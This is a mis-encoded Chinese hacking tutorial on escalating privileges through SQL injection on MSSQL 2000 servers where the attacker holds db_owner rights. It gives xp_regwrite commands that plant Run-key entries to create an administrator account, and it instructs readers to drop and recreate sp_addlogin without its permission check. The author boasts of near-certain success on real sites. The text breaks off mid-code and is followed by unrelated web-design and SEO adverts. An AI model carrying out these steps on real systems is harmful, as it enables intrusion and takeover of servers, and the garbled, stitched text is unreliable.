聲明:本文僅用于教學(xué)目的,如果因?yàn)楸疚脑斐傻墓艉蠊救烁挪回?fù)責(zé)。因?yàn)?/p>
發(fā)覺其危害過大,原文已經(jīng)經(jīng)過大量刪減及修改,即使這樣本文的危害性仍然很
大,所以請大家不要對國內(nèi)的站點(diǎn)做任何具有破壞性的操作。
考慮再三,偶還是決定發(fā)出來。此招手段歹毒,利用范圍廣泛,可以說是只要是
有sql注射漏洞的網(wǎng)站,只要運(yùn)用此法99%可以拿到webshell甚至系統(tǒng)權(quán)限(不敢
把話說滿,呵呵,經(jīng)本人數(shù)百次真實(shí)"實(shí)戰(zhàn)演習(xí)",基本上是100%可以拿到
webshell甚至系統(tǒng)權(quán)限)。
記得我在《MSSQL db_owner角色注入直接獲得系統(tǒng)權(quán)限(續(xù))》中寫過一種
利用xp_regwrite來取得系統(tǒng)權(quán)限的方法:xp_regwrite
"HKEY_LOCAL_MACHINE","SOFTWARE\Microsoft\Windows\currentversion\run","xwq1","REG_SZ","net user xwq xwq /add"
xp_regwrite
"HKEY_LOCAL_MACHINE","SOFTWARE\Microsoft\Windows\currentvers ion\run","xwq2","REG_SZ","net localgroup administrators xwq /add",只要讓網(wǎng)站所在
的服務(wù)器重起,就能得到系統(tǒng)權(quán)限。經(jīng)過本人的數(shù)百次的真實(shí)實(shí)驗(yàn),這種方法不太實(shí)用,很容易引起網(wǎng)管的注意,再說ddos也是違法的事(偶可是好人啊),發(fā)動一場ddos要花費(fèi)的大量的人力,物力(看你的肉雞多少拉)。所以不太可行(除非是你十分想要搞定的網(wǎng)站)。
呵呵,哆嗦拉那么多,你可能看的已經(jīng)不耐煩拉,好,這就介紹我的三大必殺技之一————萬能提權(quán)。
假如一個網(wǎng)站存在sql注射漏洞,如果這個網(wǎng)站是用固定服務(wù)器sysadmin權(quán)限的用戶作的連接(呵呵,通俗點(diǎn)說就是sa,菜鳥可以這樣認(rèn)為),呵呵,想要拿到一個webshell或者是系統(tǒng)權(quán)限可以說是易如反掌,輕而易舉的事,據(jù)我所知,sysadmin權(quán)限要拿到webshell或者系統(tǒng)權(quán)限不下10種,呵呵,可能更多吧(偶只會10種),sysadmin怎么拿到webshell或者系統(tǒng)權(quán)限,我不想多說,想比大家都已經(jīng)爛熟于心拉,可是要是一個網(wǎng)站是db_owner權(quán)限呢?你怎么辦,你怎么拿系統(tǒng)權(quán)限,怎么拿webshell(沒有上傳漏洞和數(shù)據(jù)庫備份等功能),大家可能回說backup a shell,我記得LCX也在《MSSQL db_owner角色注入直接獲得系統(tǒng)權(quán)限》里說過拉"備份得到的shell只是理論化的東東,如果一個webshell有20mb的話,你還能用它嗎?"呵呵,要是我告訴你db_owner拿到一個webshell或者是系統(tǒng)權(quán)限的方法和sysadmin權(quán)限的一樣多,你回有什么反映,是不是覺得有點(diǎn)不可思議,或者又是我胡說呢?(不相信的朋友,下面的內(nèi)容就不要看拉)
呵呵,是不是看的心癢癢拉,迫不及待的想知道啊,好,我不在廢話拉,這就把我的三大必殺技之一————萬能提升權(quán)限方法告訴大家。
在告訴大家之前,我們先做個實(shí)驗(yàn)
實(shí)驗(yàn)環(huán)境windowsxp sp1+SQL 2000 sp3,大家跟著我來step to step,首先新建一個具有db_owner的權(quán)限的用戶,這里我是xwq(就是在服務(wù)器角色里面什么都不要選,在數(shù)據(jù)庫角色里面鉤上db_owner),好,現(xiàn)在我們打開查詢分析器用xwq連上后再里面輸入sp_addlogin xuwenqiang,執(zhí)行看看,出現(xiàn)拉什么?
服務(wù)器: 消息 2571,級別 14,狀態(tài) 2,過程 sp_addlogin,行 16
用戶 "xwq" 沒有運(yùn)行 DBCC auditevent 的權(quán)限。
服務(wù)器: 消息 15247,級別 16,狀態(tài) 1,過程 sp_addlogin,行 17
用戶沒有執(zhí)行此操作的權(quán)限。
呵呵,出現(xiàn)上面的錯誤信息這很正常,因?yàn)橹挥衧ysadmin 和 securityadmin 固定服務(wù)器角色的成員才可以執(zhí)行 sp_addlogin,那么怎么才好讓sp_addlogin為我
所用呢?我們在這里看一下sp_addlogin的代碼:
create procedure sp_addlogin
@loginame sysname
,@passwd sysname = Null
,@defdb ; ; sysname = "master" -- UNDONE: DEFAULT
CONFIGURABLE???
,@deflanguage sysname = Null
,@sid varbinary(16) = Null
,@encryptopt varchar(20) = Null
AS
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
Declare @ret int -- return value of sp call
-- CHECK PERMISSIONS --
IF (not is_srvrolemember("securityadmin") = 1)
begin
dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
raiserror(15247,-1,-1)
return (1)
end
ELSE
begin
dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)
end
-- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,"sp_addlogin")
return (1)
end
-- VALIDATE LOGIN NAME AS:
-- (1) Valid SQL Name (SQL LOGIN)
-- (2) No backslash (NT users only)
-- (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
return (1)
if (charindex("\", @loginame) > 0)
begin
raiserror(15006,-1,-1,@loginame)
return (1)
end
--Note: different case sa is allowed.
if (@loginame = "sa" or lower(@loginame) in ("public"))
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end
-- LOGIN NAME MUST NOT ALREADY EXIST --
if exists(select * from master.dbo.syslogins where loginname =
@loginame)
begin
raiserror(15025,-1,-1,@loginame)
return (1)
end
-- VALIDATE DEFAULT DATABASE --
IF db_id(@defdb) IS NULL
begin
raiserror(15010,-1,-1,@defdb)
return (1)
end
-- VALIDATE DEFAULT LANGUAGE --
IF (@deflanguage IS NOT Null)
begin
Execute @ret = sp_validlang @deflanguage
IF (@ret <> 0)
return (1)
end
ELSE
begin
select @deflanguage = name from master.dbo.syslanguages
where langid = @@default_langid --server default
language
if @deflanguage is null
select @deflanguage = N"us_english"
end
-- VALIDATE SID IF GIVEN --
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
raiserror(15419,-1,-1)
return (1)
end
else if @sid is null
select @sid = newid()
if (suser_sname(@sid) IS NOT Null)
begin
raiserror(15433,-1,-1)
return (1)
end
-- VALIDATE AND USE ENCRYPTION OPTION --
declare @xstatus smallint
select @xstatus = 2 -- access
if @encryptopt is null
select @passwd = pwdencrypt(@passwd)
else if @encryptopt = "skip_encryption_old"
begin
select @xstatus = @xstatus | 0x800, -- old-style
encryption
@passwd = convert(sysname, convert(varbinary
(30), convert(varchar(30), @passwd)))
end
else if @encryptopt <> "skip_encryption"
begin
raiserror(15600,-1,-1,"sp_addlogin")
return 1
end
-- ATTEMPT THE Insert OF THE NEW LOGIN --
Insert INTO master.dbo.sysxlogins VALUES
(NULL, @sid, @xstatus, getdate(),
getdate(), @loginame, convert(varbinary(256), @passwd),
db_id(@defdb), @deflanguage)
if @@error <> 0 -- this indicates we saw duplicate row
return (1)
-- Update PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
SYSLOGINS CHANGE --
exec("use master grant all to null")
-- FINALIZATION: RETURN SUCCESS/FAILURE --
raiserror(15298,-1,-1)
return (0) -- sp_addlogin
GO
之所以只有 sysadmin 和 securityadmin 固定服務(wù)器角色的成員才可以執(zhí)行
sp_addlogin,主要是這里一段再搞鬼
-- CHECK PERMISSIONS --
IF (not is_srvrolemember("securityadmin") = 1)
begin
dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
raiserror(15247,-1,-1)
return (1)
end
ELSE
begin
dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)
end
只要我們把這段代碼刪拉,任何權(quán)限的用戶都可以增加用戶拉。
好,我們先把sp_addlogin刪拉
drop procedure sp_addlogin
然后再來恢復(fù)sp_addlogin
create procedure sp_addlogin
@loginame sysname
,@passwd sysname = Null
,@defdb ; ; sysname = "master" -- UNDONE: DEFAULT
CONFIGURABLE???
,@deflanguage sysname = Null
,@sid varbinary(16) = Null
,@encryptopt
?石家莊網(wǎng)站建設(shè)的優(yōu)點(diǎn):我們是專屬定制,制作符合您公司業(yè)務(wù)、風(fēng)格的網(wǎng)站,這就做到給您制作的網(wǎng)站是網(wǎng)絡(luò)上獨(dú)一無二的網(wǎng)站,這樣更有利于搜索引擎的收錄。如果您喜歡網(wǎng)絡(luò)上某個風(fēng)格的網(wǎng)站或者網(wǎng)站模板,我們是只仿制而不直接套用,我們會對其中的結(jié)構(gòu)和樣式做增減優(yōu)化,做…
?競價排名營銷是一種通過 競價購買搜索引擎中關(guān)鍵詞或關(guān)鍵短語的廣告方式。競價排名營銷分為兩種類型。 第一種,直接為真正的搜索引擎結(jié)果的排名付費(fèi),也就是說付的錢越多,網(wǎng)頁所獲得的排名名也就越高。 第二種則更類似于普通的廣告。這種競價排名營銷方式通過…
?網(wǎng)站優(yōu)化對網(wǎng)站來說是非常重要的,直接決定和影響著網(wǎng)站所起到的作用,以及在各個地方當(dāng)中的排名。在進(jìn)行seo優(yōu)化的過程中,我們必須要堅持一定的原則,真正的把這些事情做得更好,才可以確保最終的結(jié)果,這對于我們來說是非常重要的事。 SEO優(yōu)化主要分為8小步: …